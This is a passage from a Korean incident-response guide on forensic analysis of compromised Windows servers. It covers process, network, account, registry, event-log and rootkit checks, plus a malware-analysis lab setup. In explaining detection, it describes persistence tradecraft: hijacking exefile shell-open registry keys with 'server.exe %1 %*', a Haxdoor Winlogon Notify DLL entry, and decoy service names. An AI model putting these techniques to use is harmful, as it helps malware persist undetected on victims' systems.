제 3 장침해사고분석기술 < 그림 3-1> psinfo 실행화면 명령어설명다운로드 psinfo -h -s 설치된핫픽스및소프트웨어목록정보 sysinternals 다. 프로세스정보확인대부분의윈도우즈시스템들은많은실행프로세스들을가지고있다. 이러한프로세스중에는공격자가실행시켜놓은악성프로그램이실행되고있거나흔적이남아있을수있으니자세히확인해볼필요가있다. 관심있게확인해봐야될프로세스정보는다음과같다. - 실행프로세스명 - 프로세스실행파일위치 - 프로세스커맨드라인 - 프로세스실행시간 - 프로세스가참조중인 DLL 및파일 프로세스를점검할수있는도구로는 pslist 가있다. 이도구는 http://www.
www.kisa.or.kr sysinternals.com 에서다운받을수있으며현재구동중인프로세스목록을출력해준다. 옵션을하지않으면프로세스가실행된시간을자세히확인할수있는데이러한시간은또한 uptime 에서확인했던부팅시간이후에악성프로그램이언제실행되었는지확인가능하다. -t 옵션을사용하면프로세스를트리구조로어떤프로세스에서실행되었는지확인할수있다. C:\Forensic\>pslist -t Name Pid Pri Thd Hnd VM WS Priv Idle 0 0 1 0 0 16 0 System 8 8 36 57 5824 272 32 smss 160 11 6 33 5380 376 1084 csrss 184 13 10 392 33144 4068 1576 winlogon 204 13 17 379 37520 4796 5740 services 232 9 30 495 32472 4812 2340 svchost 416 8 8 305 22984 3416 1344 iexplore 332 8 6 197 49496 5772 3412 mdm 1228 8 3 90 21304 2420 700 SPOOLSV 444 8 11 131 26240 3528 2232 msdtc 472 8 18 203 31324 5004 1628 svchost 564 8 18 345 39264 7560 4100 sqlservr 624 8 32 281 318796 10432 12372 rsmss 704 8 2 38 11072 1264 484 lsass 244 9 14 258 31784 4744 2296 Explorer 1040 8 14 315 49492 3868 4432 Internat 1204 8 1 28 15944 1628 340 sqlmangr 1248 8 3 99 27544 3772 1160 atjob 1324 8 1 10 5696 552 124 sysanalyzer 1548 8 3 151 52064 7852 3636 conime 1404 8 1 23 14728 1296 300 제 3 장 위명령어실행결과에서보면백도어프로그램인 rsmss가 winlogon-services 의자식프로세스로실행된것을확인할수있어윈도우서비스에의해실행된것을확인할수있다. 침해사고분석절차가이드 36 37
제 3 장침해사고분석기술 at.job 이라는악성프로그램같은경우는윈도우에서흔히보지못한프로그램이실행되고있어어렵지않게찾아낼수있지만정상파일처럼위장하여악성프로그램을실행하는경우가있으므로실행파일위치를찾아서정상프로그램의위치와맞는지확인해야한다. 또한프로그램들이사용하는동적라이브러리 (DLL, Dynamic Link Libraries) 정보를수집해야한다. 악성프로그램은시스템 DLL 뿐만아니라자체제작한 DLL 을사용할수도있으므로자세한점검이필요하다. listdlls은모든프로세스가사용하고있는 DLL 정보를보여주고, 경로, 사이즈, 버전까지도알수있다. 아래그림은정상적인프로그램처럼위장한악성프로그램인 TaskDaemon.exe 프로그램을 listdlls로확인한화면이다. 이악성프로그램은자체제작한 TaskDaemonRT.dll 등을사용하는것을확인할수있다. < 그림 3-2> listdlls 실행결과 또한악성프로그램들은자신들의실행과관련된설정파일들이있고특히악성봇프로그램같은경우설정파일에있는서버에접속을하고명령어들을실행하기때문에자세한조사가필요하다. 프로세스들이어떠한파일들을참조하고있는지확인할수있는방법은
www.kisa.or.kr http://www.sysinternals.com 에서제공하는 handle 프로그램을이용해서확인할수 있다. 명령어 설 명 pslist 현재프로세스리스트출력 listdlls 프로세스들이사용하는 DLL 출력 handle 프로세스들이참조하는파일리스트출력 다. 네트워크정보확인 현재피해시스템네트워크정보, 서비스를열고있는응용프로그램정보, 서비스에연결되어있는세션정보등은공격자의흔적을추적할수있는중요한역할을한다. netstat -an 명령어를통해프로토콜상태, IP 기반네트워크연결정보등을확인해서현재열려있는포트와포트에연결되어있는 IP 정보를확인해야한다. 아래명령어수행결과에서보면시스템이사용하지않는 26103 포트가 LISTENING 상태로열려있는것을확인할수있다. 제 3 장 < 그림 3-3> netstat 실행화면 침해사고분석절차가이드 38 39
제 3 장침해사고분석기술 이와같은 26103포트에 telnet 이나 nc 로접속하여어떤응용어플리케이션이구동중인지확인해야한다. 확인결과윈도우 command를실행할수있게해주는백도어포트임을아래그림처럼확인할수있었다. < 그림 3-4> telnet 으로접속한화면 위의 26103 백도어포트를열고있는프로세스를확인해야하는데 fport 라는 http:// www.foundstone.com 에서제공한명령어를사용하여다음과같이확인할수있다. < 그림 3-5> fport 실행화면 해킹사고가발생하면네트워크인터페이스카드 (NIC) 가 promisc 모드로동작중인지확인해야한다. 공격자는스니핑공격을통해시스템으로송수신되는모든네트워크트래픽을모니터링할수있는데이경우에네트워크인터페이스카드가 promisc 모드로동작하게
www.kisa.or.kr 되므로반드시점검이필요하다. 명령어 설 명 다운로드 ipconfig /all 시스템의아이피정보수집 OS netstat -an 서비스중인포트정보및연결된아이피정보 OS fport 서비스중인포트를열고있는프로그램정보 sysinternal promiscdetect NIC 가 promisc 모드로동작중인지확인 tsecurity.nu 라. 사용자 / 그룹확인 공격자에의해추가된사용자나그룹이없는지다음과같은명령어로확인한다. 명령어 설 명 다운로드 net user 시스템에존재하는계정정보출력 OS net localgroup 시스템에존재하는그룹정보출력 OS 마. 공유, 로그인정보확인 제 3 장 시스템에서제공되는 net 명령어를사용해현재시스템에공유된정보, 현재로그인되 어있는사용자정보를확인해야한다. 그리고 NBT(Net bios) 에연결된정보가있는지 nbtstat 명령어를사용해확인할필요가있다. 또한시스템의감사정책이설정되어있다면 http://www.foundstone.com 에서제공하는 ntlast 명령어를통해로그인 / 로그오프에 대한성공실패여부를확인할수있다. 명령어 설 명 다운로드 net share 시스템공유정보출력 OS net session 공유자운에접속한컴퓨터정보출력 OS nbtstat -c NBT 에연결된세션정보출력 OS ntlast -f 원격접속로그정보출력 foundstone.com 침해사고분석절차가이드 40 41
제 3 장침해사고분석기술 바. 분석스크립트 앞서설명한프로그램들을하나씩실행해분석할수도있지만초기분석을효율적으로수행하기위해서는휘발성데이터를빠르게수집해서분석해야한다. 빠르게수집하고분석하기위해서는배치파일로위의명령어를수행하고결과는파일로저장해야한다. echo off @echo ========= 초기분석점검날짜 ========== date /t @echo ========= 초기분석점검시간 ========== time /t @echo ========= 시스템기본정보 (psinfo)========== psinfo -h -s -d @echo ========= 부팅시간정보 (uptime)========== uptime @echo =========IP 정보 (ipconfig /all)========== ipconfig /all @echo ========= 세션정보 (net sess)========== net sess @echo ========= 포트정보 (netstat -na)========== netstat -na @echo ========= 로그온사용자정보 (ntlast)========== ntlast -f @echo ========= 포트별서비스정보 (fport /i)========== fport /i @echo =========Promiscuous 모드정보 (promiscdetect)========== promiscdetect @echo ========= 로컬서비스정보 (net start)========== net start @echo ========= 프로세스기본정보 (pslist -t)========== pslist -t @echo =========DLL 정보 (listdll)========== listdlls @echo ========= 핸들정보 (handle)==========
www.kisa.or.kr handle @echo ========= 공유정보 (net share)========== net share @echo ========= 사용자정보 (net user)========== net user @echo ========= 도메인그룹정보 (net group)========== net group @echo ========= 로컬그룹정보 (net localgroup)========== net localgroup @echo ========= 관리자그룹정보 ========== net localgroup administrators 사. 자동화도구 자동화된스크립트의사용이외에도윈도우피해시스템초기분석을위해앞서설명한공개용도구를이용해정보를자동으로수집해주는도구를사용할수있다. 그중에서도수집된정보를아래그림처럼브라우저로확인할수있는기능을제공하는 WFT(Windows Forensic Toolchest) 사용을추천한다. 사용방법은다음과같다. 제 3 장 - 먼저 WFT와분석에필요한명령어들을다운받는다. - 명령어 wft.exe 를실행한다. - 시스템에따라 5분정도기다리면 index.html 파일이생성된다. - index.html 파일을열어관련정보를확인한다. dd 명령어를수행하다프로그램이끝나는경우가발생할수있으므로관련실행부분을 wft.cfg 파일에서주석처리해준다. 또한 hfind, streams 명령어수행시간이상당히길어질수있기때문에이부분도주석처리하길권장한다. - 다운로드 : http://www.foolmoon.net/security/ 침해사고분석절차가이드 42 43
제 3 장침해사고분석기술 < 그림 3-6> WFT 실행화면 WFT 도구에서사용한명령어는다음과같다. arp.exe attrib.exe auditpol.exe autorunsc.exe cmd.exe cmdline.exe dd.exe drivers.exe dumpel.exe efsinfo.exe fport.exe handle.exe hfind.exe hostname.exe hunt.exe ipconfig.exe iplist.exe ipxroute.exe listdlls.exe mac.exe mdmchk.exe mem.exe nbtstat.exe net.exe netstat.exe netusers.exe now.exe ntfsinfo.exe ntlast.exe openports.exe pclip.exe promiscdetect.exe ps.exe psfile.exe psinfo.exe pslist.exe psloggedon.exe psloglist.exe psservice.exe pstat.exe psuptime.exe pulist.exe reg.exe regdmp.exe RootkitRevealer.exe route.exe sc.exe servicelist.exe sniffer.exe streams.exe strings.exe tlist.exe uname.exe uptime.exe whoami.exe
www.kisa.or.kr - 기타도구 WFT외공개된자동화도구는다음과같다. Biatchux(F.I.R.E) http://biatchux.dmzs.com/ IRCR(Incident Response Collection Report) http://packetstormsecurity/win/ircr.zip 루트킷 (RootKit) 이란 시스템에탐지되지않도록하는코드, 프로그램의집합, 시스템관리자권한을획득하기위한프로그램 이라할수있다. 최근윈도우해킹동향은공격에성공한후시스템에다운로드된악성프로그램 (Bot, 백도어등 ) 파일및실행된악성네트워크, 프로세스정보를숨기기위해루트킷을연동하고있다. 제 3 장 가. 루트킷기능 대부분의루트킷은사용자모드와커널모드의루트킷으로구분할수있다. 사용자모드는파일교체즉특정프로세스에사용한 DLL 파일들을교체하거나 IAT(Import Address Table) 후킹, API 엔트리패치방법들을사용해서원하는정보를숨기는루트킷들이다. 하지만커널모드루트킷은윈도우운영체제레벨인윈도우 Native API(ntdll.dll, Kernel32.dll, User32.dll 등 ) 커널드라이브와 Win32 응용프로그램간의데이터를조작함으로써공격자의흔적을감춘다. 이러한루트킷들의기능은다음과같다. 침해사고분석절차가이드 44 45
제 3 장침해사고분석기술 - 프로세스 / 스레드감추기 - 프로세스보안설정변경및제거 - 파일 / 폴더감추기 - 레지스트리 / 서비스감추기 - 네트워크정보감추기 - 스니핑및시스템제어 현재까지외부에공개된루트킷들은다음과같으며최근피해시스템에서발견된것들은대부분아래루르킷들의변종이라볼수있다. < 표 3-1> 윈도우루트킷종류루트킷명특징 Hacker Defender FU Vanquish AFX rootkit 현재가장광범위하게사용되며다양한변종이존재프로세스, 네트워크, 시작프로그램, 레지스트리, 서비스등을숨기는가장많은기능을제공하고있다. EPROCESS 의링크조작을통한프로세스숨기는기능제공 DLL 인젝션기법을사용한루트킷프로세스, 네트워크, 레지스트리, 서비스를숨기는기능및로그인정보또한기록할수있는기능제공 코드인젝션과 API 후킹을사용하는루트킷으로프로세스, 모듈, 핸들, 파일, 포트, 레지스트리등을숨길수있는기능제공 NT Rootkit 초기윈도우즈루트킷으로현재까지업데이트가없는상태이다. 나. 루트킷탐지 루트킷을탐지하기위한방법으로시스템에설치되어있는안티바이러스프로그램을이용할수도있겠지만커널레벨까지검사를하는프로그램은극히드물다. 또한루트킷은악성프로그램이나공격자의흔적을숨기고있으므로이러한숨겨진정보를통해중요한정보들을찾아낼수있으므로반드시전문프로그램을활용해야한다.
www.kisa.or.kr 아래표는루트킷탐지전문프로그램의기능을분석한표로써분석자에게적절한프로그램을찾아서분석하면된다. < 표 3-2> 루트킷탐지프로그램종류및기능분석 기능 Procexp Rootkit Revelear BlackLight Gmer Anti- Rootkit IceWord Archon 숨겨진프로세스 X X O O O O O 숨겨진프로세스 (FU Rootkit) X X O O O O O 숨겨진레지스트리 X O O O O O O 숨겨진파일 X O O O O O O DLL Injection X X X X X X O 모듈점검 X X X O X O O 시스템콜후킹 X X X O X O O API 후킹 X X X X X X O 제 3 장 다. IceSword 도구를사용한탐지 IceSword 는개인이개발한프리웨어도구로기능이나사용자를위한인터페이스측면에서가장쉽게사용할수있게구현되어있다. 다운로드 : http://www.blogcn.com/user17/pjf/index.html - 프로세스검사아래그림을보면실제피해시스템에서숨겨진프로세스를찾은화면이다. 숨겨진 root.exe 의실행경로를통해악성프로그램들의홈디렉터리인 c:\winnt\at2.job\ 을확인할수있다. 이디렉터리는루트킷에의해숨겨져있으므로 IceSword 도구의 File 을통해확인해야한다. 침해사고분석절차가이드 46 47
제 3 장침해사고분석기술 < 그림 3-7> IceSword 를통한프로세스정보확인화면 - 네트워크점검다음그림은 fport 명령어를통해선 103번포트의백도어를확인할수없지만 IceSword 네트워크정보를확인하면루트킷에숨겨진백도어포트를확인할수있다. < 그림 3-8> 숨겨진백도어포트검출화면
www.kisa.or.kr - 서비스점검대부분의커널루트킷들은서비스로모듈을로딩하게되므로루트킷을실행하는서비스를숨기게된다. 아래그림은루트킷에의해숨겨졌던서비스를검출한화면이다. 이서비스를 Disable 로하고 Stop 으로상태를변경해서시스템을재부팅하면루트킷이실행되는것을막을수있다. < 그림 3-9> 숨겨진서비스검출화면 - 숨겨진레지스트리 / 파일검사 IceSword 로숨겨진레지스트리를찾을경우수동으로점검해야하는불편함이있으므로루트킷에의해숨겨진파일과레지스트리를자동으로찾아서검출해주는 Anti-Rootkit 도구로확인할수있다. 제 3 장 < 그림 3-10> Anti-Rootkit 의사용예 침해사고분석절차가이드 48 49
제 3 장침해사고분석기술 가. 레지스트리분석 윈도우레지스트리는시스템이운영되는데필요한정보를담고있다. 설치된소프트웨어정보부터환경설정, 임시저장값까지시스템에거의모든정보를담고있으므로사고분석에있어공격자의중요한흔적을찾을수있다. - 시작프로그램아래레지스트리목록은윈도우시작시자동으로실행하는프로그램을등록하는레지스트리들이다. 공격자들은악성프로그램을등록하여시스템재부팅시자동으로실행되도록하므로자세한분석이필요하다. HKLM\Software\Microsoft\Windows\CurrentVersion\Run HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKLM\Software\Microsoft\Windows\CurrentVersion\Windows\Load HKLM\Software\Microsoft\Windows\CurrentVersion\Windows\Run HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\Userinit HKCU\Software\Microsoft\Windows\CurrentVersion\Run HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceEx HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 윈도우시작과관련된레지스트리정보는 sysinternals에서제공하는 Autoruns 프로그램을통해아래와같이확인할수있다.
www.kisa.or.kr < 그림 3-11> Autoruns 를이용하여시작레지스트리점검화면 아래레지스트리키들은디폴트로 %1%* 값을갖는데이들을 server.exe %1%* 로변경할경우 exe, com, bat, hta, pif 파일들의실행시매번 server.exe 파일을자동으로실행되도록할수있다. 제 3 장 [HKEY_CLASSES_ROOT\exefile\shell\open\command] @= %1 %* [HKEY_CLASSES_ROOT\comfile\shell\open\command] @= %1 %* [HKEY_CLASSES_ROOT\batfile\shell\open\command] @= %1 %* [HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @= %1 %* [HKEY_CLASSES_ROOT\piffile\shell\open\command] @= %1 %* [HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\ open\command] @= %1 %* [HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\ open\command] @= %1 %* [HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\ open\command] @= %1 %* [HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\ Open\Command] @= %1 %* [HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\ open\command] @= %1 %* 위와같은레지스트리들은 http://www.diamondcs.com.au 에서제공하는 Autostart Viewer 를통해확인할수있다. 침해사고분석절차가이드 50 51
제 3 장침해사고분석기술 < 그림 3-12> Autostart Viewer 실행화면 - 공격자가남긴레지스트리정보수집 최근사용한문서목록 HKCU\Software\Microsft\windows\CurrentVersion\Explorer\Recentdocs 터미널서비스접속목록 HKCU\Software\Microsft\Terminal server Client\Default 설치된소프트웨어목록 HKCU\Software\ 열어본파일목록 HKCU\Software\Microsft\windows\CurrentVersion\Explorer\ComDlg32\ OpenSaveMRU 나. 자동실행점검 - 서비스점검
www.kisa.or.kr 공격자는윈도우서비스에자신의악성프로그램을등록시켜시스템이재부팅되더라도해당서비스 ( 등록된악성프로그램 ) 을자동으로재시작할수있다. 이러한방법은대부분의공격자들이나악성프로그램들이행하고있는유형이기때문에분석자는반드시서비스를점검할필요가있다. 악성프로그램을실행하는서비스를예상할수있는방법은다음과같다. 생소한이름의서비스 Description 내용이비어있는서비스 Description 내용이영문인서비스 하지만대부분의공격자프로그램이정상적인서비스이름으로가장하고있기때문에찾기쉽지는않지만, 현재시작된서비스항목이어떤것이며실행파일경로가올바른지확인해야한다. 다음은악성프로그램이관리자가혼동하도록주로사용하는서비스명이며실제서비스명과유사하다. 제 3 장 Backup System Remote Administrator Service System Spooler Host Windows Management Drivers Universal Serial Bus Control Components 다음그림은공격자에의해등록된서비스를시스템에서제공하는 관리도구-서비스 에서확인한화면이다. 침해사고분석절차가이드 52 53
제 3 장침해사고분석기술 < 그림 3-13> 수상한서비스검출화면 Autoruns는현재구동중인서비스와실행된프로그램을한눈에확인할수있는기능을제공하며아래그림은 Services 탭을실행해백도어관련서비스를확인한화면이다. 아래백도어관련서비스는설명부분이비어있어쉽게찾을수있다. < 그림 3-14> Autoruns 도구를이용하여수상한서비스검출화면
www.kisa.or.kr - 스케쥴된작업확인시스템은필요한작업을원하는시간에예약할수있는기능이존재한다. 공격자들은이러한기능을이용해시스템이재부팅되더라도악성프로그램이시작될수있도록할수있으므로점검이필요하다. Autoruns의 Scheduled Tasks 기능을통해쉽게확인할수있다. 제 3 장 < 그림 3-15> 스케쥴된작업확인화면 - 자동시작폴더점검윈도우의재시작시이폴더안에있는모든프로그램들은자동으로실행된다. 윈도우에서이러한자동시작폴더는다음과같다. C:\Documents and Settings\Administrator\ 시작메뉴 \ 프로그램 \ 시작프로그램 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Explorer\ShellFolders 침해사고분석절차가이드 54 55
제 3 장침해사고분석기술 Autoruns 의 Logon 기능을통해쉽게확인가능하다. - Winlogon Notification DLL Winlogon Notification DLL은 NT 서비스에비해적은코드만으로구현이가능하며안전모드에서도원하는코드의실행이가능한장점이있다. Winlogon.exe 에서발생하는이벤트핸들러를작성하여 Logon, Logoff, Startup, Shutdown, Startscreensaver, Stopscreensaver 등의이벤트가발생할때마다원하는코드를실행할수가있다. 관련레지스트리는다음과같다. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ Winlogon\Notify\ Troj/Haxdoor-DI 악성프로그램예 arprmdg0.dll에의해삽입된코드를동작시키기위해아래레지스트리가생성된다. CurrentVersion\Winlogon\Notify\arprmdg0 DllName=arprmdg0.dll Startup=arprmdg0 Impersonate=1 Autoruns의 Winlogon 기능을통해점검할수있으며설명부분이비워져있거나생소한이름의 dll 이실행되었는지확인이필요하다.
www.kisa.or.kr < 그림 3-16> Winlogon 확인화면 다. 이벤트로그분석공격자의흔적및활동정보를찾아내기위해서는로그분석이필요하다. 윈도우시스템에서는하드웨어, 소프트웨어및시스템문제를이벤트로그에저장하므로이벤트뷰어를통해확인이필요하다. 제 3 장 관리도구 이벤트뷰어 실행 eventvwr.msc < 그림 3-17> 이벤트뷰어화면 침해사고분석절차가이드 56 57
제 3 장침해사고분석기술 하지만공격자는자신들의흔적을지우기위해 ClearEvent 같은프로그램들을이용해이벤트로그를모두삭제할수도있기때문에만약어떠한로그도남아있지않다면공격자가흔적을지운것으로이해해야한다. 아래표는이벤트점검시주의깊게살펴봐야할것들이다. < 표 3-3> 공격과관련된이벤트로그 특징설명이벤트 ID 로컬로그온시도실패 계정의잘못된사용 계정잠김 터미널서비스공격 사용자계정생성 사용자계정패스워드 사용자이름과패스워드를조합하여로그온시도했을때생성되는이벤트 입력된사용자계정 / 패스워드에는문제가없지만다른제한에의해로그온실패시생성되는이벤트 계정잠금정책에의해사용자계정이잠겼을때발생하는이벤트 터미널서비스연결후완전히세션을종료하지않았거나다시연결했을때이벤트발생 사용자계정이만들어진시간과활성화된시간으로공격자에의한사용자계정생성인지를확인 사용자이외의계정에의해패스워드가변경되었을경우공격자에의해해당사용자계정이탈취당한경우 529, 530, 531, 532, 533, 534, 537 530, 531, 532, 533 539 683, 682 624, 626 627, 628 라. MAC time 분석 대부분의파일시스템은모든디렉터리나파일과관련된다음과같은시간속성을갖는다. - mtime : 파일을생성및최근수정한시간 - atime : 최근파일을읽거나실행시킨시간 - ctime : 파일속성이변경된시간
www.kisa.or.kr 이러한시간정보를 mac time 이라하며분석을통해공격자가파일시스템에서어떠한행동을했는지에대해판단할수있는정보를제공한다. 해킹시점으로 mtime, atime 검색 검출된악성코드 mtime, atime 검색 위와같은정보로검색후시간대를중심으로정렬해서시간흐름에따라어떠한파일이생성, 수정, 실행됐는지를분석해야한다. mac time 은윈도우즈기능중 파일및폴더찾기 기능을통해확인할수있고점검방법은아래그림과같다. 위치 : 시작 - 검색 - 파일및폴더 - 검색옵션 - 날짜 제 3 장 < 그림 3-18> 윈도우즈파일 mac time 분석방법 해킹발생날짜를기준으로 마지막엑세스파일 을검사하게되면해킹발생후실행됐던파일들을검색할수있다. 침해사고분석절차가이드 58 59
제 3 장침해사고분석기술 아래그림은발견된백도어파일 rsmss.exe 의 mtime 을통해윈도우-파일찾기기능에서그때실행됐던파일들을조사한결과악성프로그램들을찾을수있었다. < 그림 3-19> mac time 을이용악성코드찾는화면 마. 침입방법분석 공격자가어떻게시스템에침입할수있었는지에대한분석또한피해시스템분석에서매우중요하다. 관리자들은이러한해킹원인분석을하지않고사고에따른조치만취하게되면이후에또다시같은취약점으로해킹을당할수있기때문에원인분석을통해반드시패치를수행해야한다. 윈도우즈서버에서해킹사고가발생할수있는경우는크게다음과같이분류할수있다.
www.kisa.or.kr - 윈도우취약점 시스템취약점 ( 보안업데이트미실시 ) 패스워드취약점 잘못된공유설정 - 웹어플리케이션취약점 SQL Injection 파일업로드등 - MS-SQL 취약점 디폴트패스워드사용 패치미실시 먼저시스템에어떤어플리케이션이운영중인지확인해야한다. 하지만대다수의해킹사고는시스템보안업데이트미실시로인한윈도우취약점이나웹서비스공격을통해발생한다. 제 3 장 웹서비스가구동중인경우는해킹발생시점에발생한로그분석을통해공격여부및방법을대부분확인할수있다. IIS 로그위치 : C:\WINNT\system32\LogFiles\W3SVC1 윈도우취약점의경우는최종보안업데이트날짜를파악하는게중요하다. 최종보안업데이트이후발표됐던취약점중리모트에서공격가능한취약점이있었는지파악하고관련서비스가오픈되어있는지확인해야한다. 침해사고분석절차가이드 60 61
제 3 장침해사고분석기술 Microsoft에서제공하는 Microsoft Baseline Security Analyzer를이용하여보안패치상태, IIS, SQL 보안상태를점검할수있다. < 그림 3-20> MBSA 를이용한보안상태확인 바. 인터넷임시파일분석 인터넷익스플로러를통해특정사이트에접속하게되면관련사이트의페이지는임시파 일에저장되며접속한흔적이히스토리에남으며또한사용되었던쿠키도디스크에저장한 다. 이러한임시파일들을통해공격자가방문한특정사이트들을확인할수있다. < 표 3-4> 인터넷임시파일종류 종류 위 치 임시인터넷객체 %SystemRoot%Downloaded ProgramFiles 임시인터넷파일 %USERPROFILE%Local Settings\Temporary Internet Files 열어본페이지 %USERPROFILE%Local Settings\History 임시쿠키파일 %USERPROFILE%Local Settings\COOKIES
www.kisa.or.kr 임시인터넷객체는사용자가인터넷을사용하다다운받은 ActiveX 프로그램들이저장된저장소이다. 임시인터넷파일은사용자가방문한사이트페이지들이다운로드된장소이며열어본페이지는사용자가접속했던사이트명들이히스토리로저장되어있다. 위와같은인터넷임시파일들은 indexview 를통해쉽게확인할수있다. 이프로그램은 Cookie, Internet 임시파일, History 3가지형태로보여준다. 다운로드 : http://exits.ro/dwl/indexview.exe 제 3 장 < 그림 3-21> IndexView 실행화면 가. 분석환경구성 분석을위해서최소 2 개이상의서버를가상으로구동시키는물리적서버가필요하다. 침해사고분석절차가이드 62 63
제 3 장침해사고분석기술 - [ 서비스제공 ] 가상서버 가상네트워크가일반네트워크처럼동작할수있도록 Samba, HTTP, FTP 등의서비스를제공하는가상서버를하나구축한다. 해킹프로그램을분석하다보면특정 URL에접속한다든가특정주소로메일을보내고특정사이트의 IRC 봇에접속하므로서비스구축이필요하다. 서버 OS를리눅스로구성하는것은테스트하는악성프로그램에의해공격받거나감염되는것을최소화하기위해서다. - [ 피해대상 ] 가상서버 해킹프로그램을실행하는서버를 피해대상 서버라한다. 해킹프로그램을실행했을때시스템파일과레지스트리에서발생하는내용을확인하기위하여모니터링하는프로그램이설치되어야한다. 해킹프로그램테스트후다시이전상태인초기설정으로복구할수있어야한다. Snapshot 기능활용 물리적서버 OS : Linux 기능 : Vmvare 서버 - DHCP - 외부관리프로그램 Linux Server 가상서버 ( 서비스제공 ) - Samba - DNS Server - Routing Software - HTTP Server - SMTP Server - POP3 Server - IRC Server - Network Monitoring Software Windows 2000 Server 가상서버 ( 피해대상 ) 악성코드실행서버 - 파일시스템모니터링 - 사용자정보모니터링 - 레지스트리모니터링 - 서비스항목모니터링 - 공유폴더모니터링 - 시스템항목모니터링 - 네트워크항목모니터링 < 그림 3-22> 분석서버구성도
www.kisa.or.kr 나. 분석방법 1 SysAnalyzer 도구사용 다운로드 : http://labs.idefense.com SysAnalyzer 도구는악성코드가시스템에서구동되는동안에주어진시간에이후에변경된정보를수집, 비교, 분석보고해주는자동화된툴이다. SysAnalyzer의주된임무는지정된시간에걸쳐시스템의스냅샵을비교하는작업을수행한다. Delay : 스냅샵전. 후사이의값지정 Sniff Hit : HTTP 접속및 IRC접속정보를확인 Api Logger- 분석바이너리에인젝션되는 DLL 에서호출되는 API 목록 Directory Watcher- 모니터링시점에생성되는모든파일확인 제 3 장 < 그림 3-23> SysAnalyzer 실행초기화면 SysAnalyzer는비교된스냅샵을통해실행된악성코드에다음과같은정보를얻을수있다. 침해사고분석절차가이드 64 65
제 3 장침해사고분석기술 실행된프로세스 악성코드에의해오픈된포트 explorer.exe 나 Internet Explorer 에서로드된 DLL 커널에로드된모듈 변경 / 생성된레지스트리키 < 그림 3-24> SysAnalyzer 실행화면 다음은해킹프로그램이 HTTP 사이트와 IRC Bot 채널에접속한정보를 Sniff_Hit 프로그램이캡쳐한화면이다. < 그림 3-25> Sniff_Hit 프로그램이캡쳐한화면
www.kisa.or.kr 2 Malcode Analysis Pack 다운로드 : http://labs.idefense.com Malcode Analysis Pack 은악성코드들을조사하는데유용한도구들을포함하고있는유틸리티이다. 이패키지가포함한유틸리티들은다음과같다. ShellExt : 문자열확인기능및 MD5로암호화기능제공 sockettool : TCP 클라이언트모니터링프로그램 MailPot : 메일서버캡쳐프로그램 fakedns : 악성프로그램이접속하는도메인을다른곳으로유도하기위해사용하는스푸핑미니 DNS 서버프로그램 Sniff_Hit : HTTP, IRC, DNS 스니퍼 sclog : 악성코드에서사용하는쉘코드분석도구 IDCDumpFix : 패킹프로그램언패킹할때사용하는보조도구 Shellcode2Exe : 인코드된쉘코드로변환하는 php 스크립트프로그램 GdiProcs : 숨겨진프로세스탐지에사용 제 3 장 - fakedns fakedns 프로그램은 VMware 환경의외부네트워크와의통신을차단하고내부망을통하여악성프로그램을분석하는환경에매우유용한프로그램이다. 일부 IRC봇프로그램은 dns 쿼리를보내접속이되지않는경우실행을끝마치는경우가있는데이럴때이프로그램을통해 [ 서비스제공 ] 가상서버로유인해서실행할수있다. DNS 쿼리를모두자신의 127.0.0.1로설정하거나가상서버로지정하여트래픽을유도할수있다. 침해사고분석절차가이드 66 67
제 3 장침해사고분석기술 < 그림 3-26> fakedns 실행화면 - MailPot 공격자는해킹후스팸메일을유포하는프로그램을통해대량의메일들을발송하곤한다. 이러한스팸메일을확인하기위해 MailPot 프로그램을활용한다. 이 MailPot 프로그램은 fakedns 프로그램과연동해자신이원하는곳으로유인해아래와같이전송된메일을확인한다. < 그림 3-27> MailPot 실행한화면
www.kisa.or.kr 3 다양한모니터링프로그램활용 < 표 3-5> 모니터링프로그램목록 파일명역할다운로드 Filemon 파일모니터링 www.sysinternals.com Regmon 레지스터모니터링 www.sysinternals.com CPUmon CPU 성능모니터링 www.sysinternals.com TDImon TCPView 네트워크모니터링 www.sysinternals.com procexp 프로세스모니터링 www.sysinternals.com Winalysis 스냅샷모니터링 www.winalysis.com API SPY API 함수추적 www.matcode.com ethereal 네트워크트래픽분석 www.ethereal.com 제 3 장 제 2 절리눅스사고분석 최근리눅스시스템에대한사고가줄어들고있는경향을보이고있지만, 이는리눅스시스템의활용도자체가낮아졌다는것을뜻하는것은아니다. 본절에서는리눅스피해시스템에대한정보수집등의초기분석단계부터로그분석과상세분석단계에대해알아보도록한다. 침해사고분석절차가이드 68 69
제 3 장침해사고분석기술 해당시스템운영자면담또는시스템에서제공되는명령어등을이용하여다음과같은기본정보를수집한다. - 운영체제종류및커널버전 - 사용용도 - 운영중인서비스 - 네트워크접속현황 - 보안패치적용현황 - 네트워크구성형태및보안장비운영현황 리눅스시스템에는분석당시에만존재하고, 시스템리부팅등을통해정보가삭제될수있는다양한휘발성정보가존재한다. 휘발성정보는프로세스상태, 네트워크상태, 사용자로그인상태등이있으며, 사고분석시이러한휘발성정보를우선적으로검출하여야한다. 프로세스확인하기 : ps -ef ps는 process를확인해주는것으로, process 실행자 PID 실행일시 프로세스명등을보여준다.
